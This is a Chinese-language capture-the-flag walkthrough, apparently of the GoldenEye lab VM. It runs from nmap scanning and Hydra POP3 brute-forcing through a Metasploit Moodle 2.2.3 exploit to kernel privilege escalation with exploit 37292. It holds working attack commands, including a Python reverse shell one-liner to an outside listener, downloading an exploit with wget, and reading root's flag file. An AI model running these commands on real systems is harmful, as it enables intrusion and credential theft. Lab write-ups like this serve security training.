项目一
一、发现主机
nmap 192.168.238.0/24
二、扫描端口
nmap 192.168.238.139
发现开放了25和80端口
三、登录网页访问
看到需要我们自己去找用户名和密码登录
四、寻找用户名和密码
1.首先查看一下网页源代码
2.进入terminal.js文件查看
我们找到两个用户名Boris和Natalya,和加密后的密码InvincibleHack3r
可以判断是HTML编码,通过HTML解码后得到密码 InvincibleHack3r
3.得到用户名和密码
Boris InvincibleHack3r
Natalya InvincibleHack3r
五、登录
按要求访问这个页面,经过测试最终账号是Boris,成功登录,翻译后如图
六、再次扫描端口
他说pop3服务运行在一个端口上,再次进行nmap全端口扫描
nmap 192.168.238.139
发现55006,55007两个开放的端口
那就扫描端口开启的服务详细信息
以上看出这两个端口开放了pop3的mail服务
通过http://192.168.238.139/terminal.js页面,在注释中发现一条内容,指出目标系统正在使用默认密码。
//Boris, make sure you update your default password
七、Hydra暴破pop3服务
首先我们将用户名natalya和boris写入username.txt文本中
然后利用九头蛇破解,-L指定用户名,-P指定密码字典(这里用kali自带的),加上ip192.168.238.139 端口和服务
hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 192.168.238.139 -s 55007 pop3
这里我只爆出来natalya的,boris没有爆出来,由于我是用winterm连接的kali,所以这里回到kali虚拟机在单独爆破boris
-l 是指定用户名
hydra -l boris -P /usr/share/wordlists/fasttrack.txt 192.168.238.139 -s 55007 pop3
kali成功爆破出来
此时我们拿到两组账号密码
用户:boris 密码:secret1!
用户:natalya 密码:bird
八、通过NC登录pop3查看邮件信封内容
nc 192.168.238.139 55007 登录邮箱
user boris 登录boris用户
pass secret1! 登录密码
list 查看邮件数量
retr 1~3 查看邮件内容
查看第二封和第三封邮件
nc 192.168.238.139 55007 登录邮箱
user natalya 登录natalya用户
pass secret1! 登录密码
list 查看邮件数量
retr 1~3 查看邮件内容
再看第二封邮件,我们找到一下信息
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
九、设置本地HOSTS文件
vim /etc/hosts
192.168.238.139 severnaya-station.com
十、访问severnaya-station.com/gnocertdir地址
使用natalya邮箱第二封邮件获得的用户名密码登录
用户名:xenia
密码:RCP90rulez!
登录成功,我们先随便找找有用的信息,最后找到以下信息
刚登陆界面,这是一个开源的CMS系统,版本是2.2.3,使用natalya邮箱第二封邮件获得的用户名密码登录:
发现有一封邮件,内容发现用户名doak
十一、爆破doak的密码
还是利用hydra爆破doak,保险起见我们去kali里面爆破
-l 是指定用户名
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.238.139 -s 55007 pop3
得到用户名 doak
密码 goat
十二、通过nc查看doak的邮件
nc 192.168.238.139 55007 登录邮箱
user doak 登录boris用户
pass goat 登录密码
list 查看邮件数量
retr 1~3 查看邮件内容
又发现一组账号密码
账号 dr_doak
密码 4England!
十三、使用新的账户密码登录CMS
账号 dr_doak
密码 4England!
登录后在:My home 右边发现: s3cret.txt
另外发现这是Moodle还是使用的2.2.3版本
查看s3cret.txt文件
我们就访问/dir007key/for-007.jpg这个图片,
wget 192.168.238.139/dir007key/for-007.jpg
将图片下载到本地
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
exiftool(图虫)查看jpg文件底层内容!
exiftool for-007.jpg
可以查看到这串很像base64编码 eFdpbnRlcjE5OTV4IQ==
eFdpbnRlcjE5OTV4IQ==
base64解码后得到
xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
登陆成功
十四、查找漏洞
1.google搜索漏洞信息
这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。
谷歌搜索Moodle 2.2.3 exp cve
点进来我们发现CVE-2013-3630 漏洞可利用
2.利用msf建立shell
可以用MSF
msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
由上图得知漏洞编号是cve2013,所以这里我们选择1
use 1 ---调用1
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.238.128 ---设置:lhost 192.168.238.128(需要本地IP)
exploit ----执行命令
发现这里有错误,由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改为PSpellShell然后save,记得保存配置,然后再次run,执行成功,此时靶机和我们的kali建立了一个交互shell
3.获得框架
执行whoami和ip a 发现成功,但是没有框架,此时执行
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
来获取框架
十五、python反弹shell
1.添加反弹并触发
此时我们拿到了shell,下一步要提权,首先进入tmp目录操作
我们先在kali中开启一个监听端口6666
然后将一句话shell复制到下图去执行,记得保存
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后我们要触发这句话,我们找到可以上传邮件的地方,直接点击abc那个就可以触发
2.获得框架
成功触发,kali也有了回弹,发现还是没有框架,那就再次执行
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
来获取框架
十六、内核提权
1.查看系统信息
uname -a 查看权限
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
谷歌搜索:Linux ubuntu 3.13.0-32 exploit
获得exp版本:37292
2.kali搜索攻击脚本
kali搜索下:
searchsploit 37292 搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/
将37292.c复制到主目录
这个靶场在枚举信息知道:
无法进行GCC编译,需要改下脚本为cc
vim 37292.c
第143行将gcc改为cc
3.上传脚本到靶机
然后在本目录下开启http服务:python -m SimpleHTTPServer 8081
wget http://192.168.4.222:8081/37292.c ---wget下载http服务下的文件
4.编译执行得到flag
成功下载后执行cc编译:
cc -o exp 37292.c C语言的CC代码编译点c文件
chmod +x exp 编译成可执行文件,并赋权
./exp 执行
id ---查看目前权限
cat /root/.flag.txt ---读取root下的flag信息
568628e0d993b1973adc718237da6e93